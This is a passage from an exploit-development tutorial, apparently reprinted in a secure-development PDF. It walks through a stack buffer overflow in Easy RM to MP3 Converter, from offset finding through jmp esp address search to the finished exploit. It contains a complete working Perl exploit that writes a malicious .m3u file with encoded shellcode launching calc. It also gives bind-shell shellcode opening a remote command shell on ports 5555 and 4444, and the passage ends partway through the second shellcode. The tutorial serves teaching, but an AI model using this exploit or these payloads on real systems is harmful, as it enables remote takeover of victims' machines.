In order to crash the application, we have written 26094 A’s into memory, we have written anew value into the saved EIP field (ret), and we have written a bunch of C’s.

When the application crashes, take a look at the registers and dump all of them (d esp, d EAX, dEBX, d ebp, …). If you can see your buffer (either the A’s or the C’s) in one of the registers, thenyou may be able to replace those with shellcode and jump to that location. In our example, wecan see that ESP seems to point to our C’s (remember the output of d ESP above), so ideally wewould put our shellcode instead of the C’s and we tell EIP to go to the ESP address.

Despite the fact that we can see the C’s, we don’t know for sure that the first C (at address000ff730, where ESP points at), is in fact the first C that we have put in our buffer.

We’ll change the Perl script and feed a pattern of characters (I’ve taken 144 characters, but youcould have taken more or taken less) instead of C’s:

my $file= "test1.m3u";my $junk= "A" x 26094;my $eip = "BBBB";my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK”."5ABCDEFGHIJK6ABCDEFGHIJK”."7ABCDEFGHIJK8ABCDEFGHIJK”."9ABCDEFGHIJKAABCDEFGHIJK"."BABCDEFGHIJKCABCDEFGHIJK";open($FILE,">$file");print $FILE $junk.$eip.$shellcode;close($FILE);print "m3u File Created successfully\n";

Create the file, open it, let the application die and dump memory at location ESP:

0:000> d ESP000ff730 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47 DEFGHIJK2ABCDEFG000ff740 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b HIJK3ABCDEFGHIJK000ff750 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43 4ABCDEFGHIJK5ABC000ff760 44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47 DEFGHIJK6ABCDEFG000ff770 48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b HIJK7ABCDEFGHIJK000ff780 38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43 8ABCDEFGHIJK9ABC000ff790 44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47 DEFGHIJKAABCDEFG000ff7a0 48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b HIJKBABCDEFGHIJK0:000> d000ff7b0 43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41 CABCDEFGHIJK.AAA000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Page 111: Java secure development   part 1

110 | P a g e

000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Ok, we can see 2 interesting things here:

ESP starts at the 5th character of our pattern, and not the first character. You can find outwhy by looking at this forum post : http://www.corelan.be:8800/index.php/forum/writing-exploits/question-about-esp-in-tutorial-pt1

After the pattern string, we see “A’s”. These A’s most likely belong to the first part of thebuffer (26101 A’s), so we may also be able to put our shellcode in the first part of thebuffer (before overwriting RET)…

But let’s not go that way yet. We’ll first add 4 characters in front of the pattern and do the testagain. If all goes well, ESP should now point directly at the beginning of our pattern:

my $file= "test1.m3u";my $junk= "A" x 26094;my $eip = "BBBB";my $preshellcode = "XXXX";my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" ."5ABCDEFGHIJK6ABCDEFGHIJK" ."7ABCDEFGHIJK8ABCDEFGHIJK" ."9ABCDEFGHIJKAABCDEFGHIJK"."BABCDEFGHIJKCABCDEFGHIJK";open($FILE,">$file");print $FILE $junk.$eip.$preshellcode.$shellcode;close($FILE);print "m3u File Created successfully\n";Let the application crash and look at ESP again

0:000> d ESP000ff730 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43 1ABCDEFGHIJK2ABC000ff740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47 DEFGHIJK3ABCDEFG000ff750 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b HIJK4ABCDEFGHIJK000ff760 35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43 5ABCDEFGHIJK6ABC000ff770 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47 DEFGHIJK7ABCDEFG000ff780 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b HIJK8ABCDEFGHIJK000ff790 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43 9ABCDEFGHIJKAABC000ff7a0 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47 DEFGHIJKBABCDEFG0:000> d000ff7b0 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b HIJKCABCDEFGHIJK000ff7c0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Page 112: Java secure development   part 1

111 | P a g e

000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Much better !

We now have

control over EIP An area where we can write our code (at least 144 bytes large. If you do some more tests

with longer patterns, you will see that you have even more space… plenty of space in fact) a register that directly points at our code, at address 0x000ff730

Now we need to

build real shellcode Tell EIP to jump to the address of the start of the shellcode. We can do this by overwriting

EIP with 0x000ff730.

Let’s see

We’ll build a small test case: first 26094 A’s, then overwrite EIP with 000ff730, and then put 25NOP’s, then a break, and then more NOP’s.

If all goes well, EIP should jump 000ff730, which contains NOPs. The code should slide until thebreak.

my $file= "test1.m3u";my $junk= "A" x 26094;my $eip = pack('V',0x000ff730);

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc";$shellcode = $shellcode."\x90" x 25;

open($FILE,">$file");print $FILE $junk.$eip.$shellcode;close($FILE);print "m3u File Created successfully\n";The application died, but we expected a break instead of an access violation.

When we look at EIP, it points to 000ff730, and so does ESP.

When we dump ESP, we don’t see what we had expected.

eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c

Page 113: Java secure development   part 1

112 | P a g e

eip=000ff730 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.<Unloaded_P32.DLL>+0xff71f:000ff730 0000 add byte ptr [eax],al ds:0023:00000001=??0:000> d ESP000ff730 00 00 00 00 06 00 00 00-58 4a 10 00 01 00 00 00 ........XJ......000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 0.......AAAAAAAA000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAASo jumping directly to a memory address may not be a good solution after all. (000ff730contains a null byte, which is a string terminator… so the A’s you are seeing are coming from thefirst part of the buffer… We never reached the point where we started writing our data afteroverwrite EIP…

Besides, using a memory address to jump to in an exploit would make the exploit veryunreliable. After all, this memory address could be different in other OS versions, languages,etc…)

Long story short: we cannot just overwrite EIP with a direct memory address such as 000ff730.It’s not a good idea because it would not be reliable, and it’s not a good idea because it containsa null byte. We have to use another technique to achieve the same goal: make the applicationjump to our own provided code. Ideally, we should be able to reference a register (or an offsetto a register), ESP in our case, and find a function that will jump to that register. Then we willtry to overwrite EIP with the address of that function and it should be time for pancakes and ice-cream.

Jump to the shellcode in a reliable wayWe have managed to put our shellcode exactly where ESP points at (or, if you look at it from adifferent angle, ESP points directly at the beginning of our shellcode). If that would not havebeen the case, we would have looked to the contents of other register addresses and hope tofind our buffer back. Anyways, in this particular example, we can use ESP.

The reasoning behind overwriting EIP with the address of ESP was that we want the applicationto jump to ESP and run the shellcode.

Page 114: Java secure development   part 1

113 | P a g e

Jumping to ESP is a very common thing in windows applications. In fact, Windows applicationsuse one or more DLL’s, and these DLL’s contains lots of code instructions. Furthermore, theaddresses used by these DLL’s are pretty static. So if we could find a DLL that contains theinstruction to jump to ESP, and if we could overwrite EIP with the address of that instruction inthat DLL, then it should work, right?

Let’s see. First of all, we need to figure out what the opcodes for “jmp esp” is.

We can do this by Launching Easy RM to MP3, then opening Windbg and hook Windbg to theEasy RM to MP3 application. (Just connect it to the process, don’t do anything in Easy RM toMP3). This gives us the advantage that Windbg will see all DLL’s/modules that are loaded by theapplication. (It will become clear why I mentioned this)

Upon attaching the debugger to the process, the application will break.

In the windbg command line, at the bottom of the screen, enter a (assemble) and press return

Now enter jmp esp and press return

Press return again.

Now enter u (unassemble) followed by the address that was shown before entering jmp esp

0:014> u 7c90120entdll!DbgBreakPoint:

Page 115: Java secure development   part 1

114 | P a g e

7c90120e ffe4 jmp esp7c901210 8bff mov edi,edintdll!DbgUserBreakPoint:7c901212 cc int 37c901213 c3 ret7c901214 8bff mov edi,edi7c901216 8b442404 mov eax,dword ptr [esp+4]7c90121a cc int 37c90121b c20400 ret 4Next to 7c90120e, you can see ffe4. This is the opcodes for jmp ESP

Now we need to find this opcodes in one of the loaded DLL’s.

Look at the top of the Windbg window, and look for lines that indicate DLL’s that belong to theEasy RM to MP3 application:

Microsoft (R) Windows Debugger Version 6.11.0001.404 X86Copyright (c) Microsoft Corporation. All rights reserved.

*** Wait with pending attachSymbol search path is: *** Invalid ******************************************************************************** Symbol loading may be unreliable without a symbol search path. ** Use .symfix to have the debugger choose a symbol path. ** After setting your symbol path, use .reload to refresh symbol locations. *****************************************************************************Executable search path is:ModLoad: 00400000 004be000 C:\Program Files\Easy RM to MP3Converter\RM2MP3Converter.exeModLoad: 7c900000 7c9b2000 C:\WINDOWS\system32\ntdll.DLLModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.DLLModLoad: 78050000 78120000 C:\WINDOWS\system32\WININET.DLLModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.DLLModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.DLLModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.DLLModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.DLLModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.DLLModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.DLLModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.DLLModLoad: 00330000 00339000 C:\WINDOWS\system32\Normaliz.DLLModLoad: 78000000 78045000 C:\WINDOWS\system32\iertutil.DLLModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.DLLModLoad: 73dd0000 73ece000 C:\WINDOWS\system32\MFC42.DLLModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.DLLModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\COMCTL32.DLLModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.DLL

Page 116: Java secure development   part 1

115 | P a g e

ModLoad: 76080000 760e5000 C:\WINDOWS\system32\MSVCP60.DLLModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.DLLModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLLModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.DLLModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.DLLModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.imeModLoad: 774e0000 7761d000 C:\WINDOWS\system32\ole32.DLLModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3Converter\MSRMfilter03.DLLModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.DLLModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.DLLModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3Converter\MSRMfilter01.DLLModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3Converter\MSRMCcodec00.DLLModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3Converter\MSRMCcodec01.DLLModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3Converter\MSRMCcodec02.DLLModLoad: 01fe0000 01ff1000 C:\WINDOWS\system32\MSVCIRT.DLLModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.DLLIf we can find the opcode in one of these DLL’s, then we have a good chance of making theexploit work reliably across windows platforms. If we need to use a DLL that belongs to the OS,then we might find that the exploit does not work for other versions of the OS. So let’s searchthe area of one of the Easy RM to MP3 DLL’s first.

We’ll look in the area of C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.DLL. ThisDLL is loaded between 01b10000 and 01fd000. Search this area for ff e4:

0:014> s 01b10000 l 01fdd000 ff e401ccf23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$.......01d0023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T......01d1d3db ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1 ..... ..........01d3b22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]...."..01d3b72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J&01d3cd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0...01d45c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb ..\.....y.......01d503d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.01d51400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P01d5736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.01d5ce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P01d60159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.01d62ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P0221135b ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff ..I ..I ........

Page 117: Java secure development   part 1

116 | P a g e

0258ea53 ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8 ...X............

Excellent, we should not expect otherwise… jmp ESP is a pretty common instruction). Whenselecting an address, it is important to look for null bytes. You should try to avoid usingaddresses with null bytes (especially if you need to use the buffer data that comes after the EIPoverwrite. The null byte would become a string terminator and the rest of the buffer data willbecome unusable).

Another good area to search for opcodes is

“s 70000000 l fffffff ff e4” (which would typically give results from windows DLL’s)

Note: there are other ways to get opcode addresses:

findjmp (from Ryan Permeh) : compile findjmp.c and run with the following parameters :Findjmp <DLLfile> <register>. Suppose you want to look for jumps to esp in kernel32.DLL,run “findjmp kernel32.DLL esp”On Vista SP2, you should get something like this:Findjmp, Eeye, I2S-LaBFindjmp2, Hat-SquadScanning kernel32.DLL for code useable with the ESP register0x773AF74B call ESPFinished Scanning kernel32.DLL for code useable with the ESP registerFound 1 usable addresses

The MetaSploit opcode database memdump (see one of the next tutorial posts pvefindaddr, a plugin for Immunity Debugger. In fact, this one is highly recommended

because it will automatically filter unreliable pointers.

Since we want to put our shellcode in ESP (which is placed in our payloadstring after overwriting EIP), the jmp esp address from the list must not have null bytes. If thisaddress would have null bytes, we would overwrite EIP with an address that contains nullbytes. Null byte acts as a string terminator, so everything that follows would be ignored. Insome cases, it would be ok to have an address that starts with a null byte. If the address startswith a null byte, because of little endian, the null byte would be the last byte in the EIPregister. And if you are not sending any payload after overwrite EIP (so if the shellcode is fedbefore overwriting EIP, and it is still reachable via a register), then this will work.

Anyways, we will use the payload after overwriting EIP to host our shellcode, so the addressshould not contain null bytes.

The first address will do: 0x01ccf23a

Verify that this address contains the jmp esp (so unassemble the instruction at 01ccf23a):

0:014> u 01ccf23aMSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea:01ccf23a ffe4 jmp esp

Page 118: Java secure development   part 1

117 | P a g e

01ccf23c ff8d4e10c744 dec dword ptr <Unloaded_POOL.DRV>+0x44c7104d(44c7104e)[ebp]01ccf242 2410 and al,10h01ccf244 ff ???01ccf245 ff ???01ccf246 ff ???01ccf247 ff ???01ccf248 e8f3fee4ff call MSRMCcodec02!CTN_WriteHead+0xd320 (01b1f140)

If we now overwrite EIP with 0x01ccf23a, a jmp ESP will be executed. ESP contains ourshellcode… so we should now have a working exploit. Let’s test with our “NOP & break”shellcode.

Close Windbg.

Create a new m3u file using the script below:

my $file= "test1.m3u";my $junk= "A" x 26094;my $eip = pack('V',0x01ccf23a);

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc"; #this will cause the application to break, simulating shellcode,but allowing you to further debug$shellcode = $shellcode."\x90" x 25;

open($FILE,">$file");print $FILE $junk.$eip.$shellcode;close($FILE);print "m3u File Created successfully\n";(21c.e54): Break instruction exception - code 80000003 (!!! second chance !!!)eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662ceip=000ff745 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.Missing image name, possible paged-out or corrupt data.<Unloaded_P32.DLL>+0xff734:000ff745 cc int 30:000> d ESP000ff730 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................000ff740 90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90 ................000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 00 ................000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Page 119: Java secure development   part 1

118 | P a g e

000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAARun the application again, attach Windbg, press "g" to continue to run, and open the new m3ufile in the application.

The application now breaks at address 000ff745, which is the location of our first break. So thejmp esp worked fine (esp started at 000ff730, but it contains NOPs all the way up to 000ff744).

All we need to do now is put in our real shellcode and finalize the exploit.

Close Windbg again.

Get shellcode and finalize the exploitMetaSploit has a nice payload generator that will help you building shellcode. Payloads comewith various options, and (depending on what they need to do), can be small or very large. Ifyou have a size limitation in terms of buffer space, then you might even want to look at multi-staged shellcode, or using specifically handcrafted shellcodes such as this one (32byte cmd.exeshellcode for xp sp2 en). Alternatively, you can split up your shellcode in smaller ‘eggs’ and use atechnique called ‘egg-hunting’ to reassemble the shellcode before executing it.

Let’s say we want calc to be executed as our exploit payload, and then the shellcode could looklike this:

# windows/exec - 144 bytes# http://www.metasploit.com# Encoder: x86/shikata_ga_nai# EXITFUNC=seh, CMD=calcmy $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" ."\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" ."\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" ."\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" ."\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" ."\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" ."\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" ."\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" ."\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" ."\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" ."\x7f\xe8\x7b\xca";

Finalize the perl script, and try it out:

## Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy Hacker# Written by Peter Van Eeckhoutte# http://www.corelan.be:8800# Greetings to Saumil and SK :-)#

Page 120: Java secure development   part 1

119 | P a g e

# tested on Windows XP SP3 (En)###my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26094;my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.DLL

my $shellcode = "\x90" x 25;

# windows/exec - 144 bytes# http://www.metasploit.com# Encoder: x86/shikata_ga_nai# EXITFUNC=seh, CMD=calc$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" ."\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" ."\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" ."\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" ."\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" ."\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" ."\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" ."\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" ."\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" ."\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" ."\x7f\xe8\x7b\xca";

open($FILE,">$file");print $FILE $junk.$eip.$shellcode;close($FILE);print "m3u File Created successfully\n";

First, turn off the autopopup registry setting to prevent the debugger from taking over. Createthe m3u file, open it and watch the application dies (and calc should be opened as well).

Boom! We have our first working exploit!

Page 121: Java secure development   part 1

120 | P a g e

You may have noticed that I kept 25 nops (0×90) before the shellcode. Don’t worry about ittoo much right now. We will continue to learn about exploitation (and when you reach thechapter about writing shellcode), you will learn why this may be required.

What if you want to do something else than launching calc?

You could create other shellcode and replace the “launch calc” shellcode with your newshellcode, but this code may not run well because the shellcode may be bigger, memorylocations may be different, and longer shellcode increases the risk on invalid characters in theshellcode, which need to be filtered out.

Let’s say we want the exploit bind to a port so a remote hacker could connect and get acommand line.

This shellcode may look like this:

# windows/shell_bind_tcp - 344 bytes# http://www.metasploit.com# Encoder: x86/shikata_ga_nai# EXITFUNC=seh, LPORT=5555, RHOST="\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" ."\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" ."\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" ."\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" ."\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" ."\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" ."\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" ."\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" ."\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" .

Page 122: Java secure development   part 1

121 | P a g e

"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" ."\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" ."\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" ."\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" ."\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" ."\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" ."\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" ."\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" ."\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" ."\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" ."\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" ."\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" ."\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" ."\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" ."\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" ."\xec\xe9\xed\xb0\x0f\x27\xee\xe7";

As you can see, this shellcode is 344 bytes long (and launching calc only took 144 bytes).

If you just copy & paste this shellcode, you may see that the vulnerable application does noteven crash anymore.

This – most likely – indicates either a problem with the shellcode buffer size (but you can testthe buffer size, you’ll notice that this is not the issue), or we are faced with invalid characters inthe shellcode. You can exclude invalid characters when building the shellcode with MetaSploit,but you’ll have to know which characters are allowed and which aren’t. By default, null bytesare restricted (because they will break the exploit for sure), but what are the other characters?

The m3u file probably should contain filenames. So a good start would be to filter out allcharacters that are not allowed in filenames and file paths. You could also restrict the characterset altogether by using another decoder. We have used shikata_ga_nai, but perhapsalpha_upper will work better for filenames. Using another encoded will most likely increase theshellcode length, but we have already seen (or we can simulate) that size is not a big issue.

Let’s try building a TCP shell bind, using the alpha_upper encoder. We’ll bind a shell to localport 4444. The new shellcode is 703 bytes.

# windows/shell_bind_tcp - 703 bytes# http://www.metasploit.com# Encoder: x86/alpha_upper# EXITFUNC=seh, LPORT=4444, RHOST=

Page 123: Java secure development   part 1

122 | P a g e

"\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" ."\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" ."\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" ."\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" ."\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" ."\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" ."\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" ."\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" ."\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" ."\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" ."\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" ."\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" ."\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" ."\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" ."\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" ."\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" ."\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" ."\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" 